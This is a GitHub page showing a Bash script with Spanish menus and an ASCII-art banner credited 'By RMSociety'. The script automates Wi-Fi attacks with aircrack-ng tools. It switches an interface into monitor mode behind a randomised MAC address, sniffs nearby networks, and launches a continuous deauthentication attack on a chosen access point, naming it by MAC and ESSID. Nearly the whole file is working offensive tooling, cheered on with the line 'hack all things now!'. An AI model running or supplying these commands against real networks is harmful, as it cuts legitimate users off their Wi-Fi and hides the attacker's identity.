-
Notifications
You must be signed in to change notification settings - Fork 2
/
scrpitRed.sh
executable file
·135 lines (124 loc) · 6.42 KB
/
scrpitRed.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/bin/bash
clear
# Muestra el menu general
_banner(){
echo " "
echo " ,,╓╓╓▄▄╓╓;, "
echo " ,▄▄▓████▀▀▀▀▀▀▀▀▀▀████▄▄▄ "
echo " ,▄▓██▀▀└ ╙▀▀██▓▄ "
echo " ╓▄██▀╙ ▀███▄ "
echo " ▄██▀└ ▀██▓µ "
echo " ▄██▀ .█p ,▄▄ ╙▀██φ "
echo " ╓██▀ ║███ ╓▓███ ╙███ "
echo " ▄██ ╙██▓▄██████████⌐ ╓▄▄ ▀██▄ "
echo " ██▌ ██████████████████ ╙██▄ "
echo " ▓█▌ ²▓█████████████████████▄ç, ╙██▄ "
echo " ║██ ╙███████████████████████Γ ╙██⌐ "
echo " ██M ,▄████▌ ██▀▀▀▀█████▄ ███ "
echo " ║██ ▄███████▄▄▄▄▄▓█▄▄▄▄▄██████▌ ▐██⌐ "
echo " ██▌ ▀███████████████████▀└ ▄▄████████▄▄ ██▌ "
echo " ██▌ ,▄████████████████████▌ ▄██████████████▓ ██▌ "
echo " ██▌ ▀▀██████████████████▌ ▄██████████████████▄ ▐██▌ "
echo " ║██ ╓████████████████▀╙║████████████████████w ║██H "
echo " ╙██▌ ╙╙╙║████████████▀* ████████▀╙██▀▀███████▌ ███ "
echo " ███ ╙▀█████▀╙ ▐███▌ ║█ ██▌ ║██M "
echo " ███ ╓▄▄███████▓▄▄▄µ ║███▌▄ ▄▄███▄▄╓╓▄███▌ ▄██▌ "
echo " ███ ████████████████▌██████████████████████ ▄██▌ "
echo " ███▄ ║███████████▌█████⌐└╙████████████████▀ ,███▀ "
echo " ▀███⌂ ,██████▌█████▌██████ ╙▀███████████▀ ▄███╨ "
echo " ╙▀███████████████████████▄ ╓████████████▌ ,▄███▀ "
echo " ╙▀██████████████████████ ╓██████████████████▀ "
echo " ▀████████████████████▌║████████████████▀ "
echo " ▀███████████████████████████████▀▀ "
echo " ╙▀▀██████████████████████▀▀ "
echo " └╙▀▀▀▀▀▀▀▀▀▀▀▀╙ "
echo " "
echo "Script para automatizar cambio de MAC, Sniffeo de red y ataque de desautenticacion"
echo "******************************By RMSociety****************************************"
}
_menu(){
_banner
echo "Selecciona una opcion:"
echo
echo "1) Poner interfaz en modo monitor cambiando MAC"
echo "2) Sniffear red"
echo "3) Ataque de desautentcacion"
echo
echo "4) Salir"
echo
echo -n "Indica una opcion: "
}
# Muestra la opcion seleccionada del menu
_mostrarResultado(){
clear
echo ""
echo "------------------------------------"
echo "Has seleccionado la opcion $1"
echo "------------------------------------"
echo ""
}
_cambiarMAC(){
echo "Poner interfaz en modo monitor cambiando MAC"
echo "ingresa la interface:"
read interface
echo "interface: " $interface
airmon-ng check kill $interface
airmon-ng start $interface
intMon=$interface"mon"
echo $intMon
ifconfig $intMon down
macchanger -r $intMon
ifconfig $intMon up
echo "hack all things now!"
}
_sniffear(){
echo "Empezar Sniffeo"
echo "ingresa la interface:"
read interface
echo "interface: " $interface
airodump-ng $interface"mon"
}
_deauth(){
echo "Empezar desautenticacion"
echo "ingresa la interfaz:"
read interface
echo "ingresa la direccion MAC del punto de acceso"
read macAp
echo "MAC AccessPoint: " $macAp
echo "ingresa nombre de la red"
read essid
aireplay-ng --deauth 0 -a $macAp -e $essid $interface"mon"
}
# opcion por defecto
opc="0"
# bucle mientas la opcion indicada sea diferente de 9 (salir)
until [ "$opc" -eq "4" ];
do
case $opc in
1)
_mostrarResultado $opc
_cambiarMAC
_menu
;;
2)
_mostrarResultado $opc
_sniffear
_menu
;;
3)
_mostrarResultado $opc
_deauth
_menu
;;
4)
_mostrarResultado $opc
_menu
;;
*)
# Esta opcion se ejecuta si no es ninguna de las anteriores
clear
_menu
;;
esac
read opc
done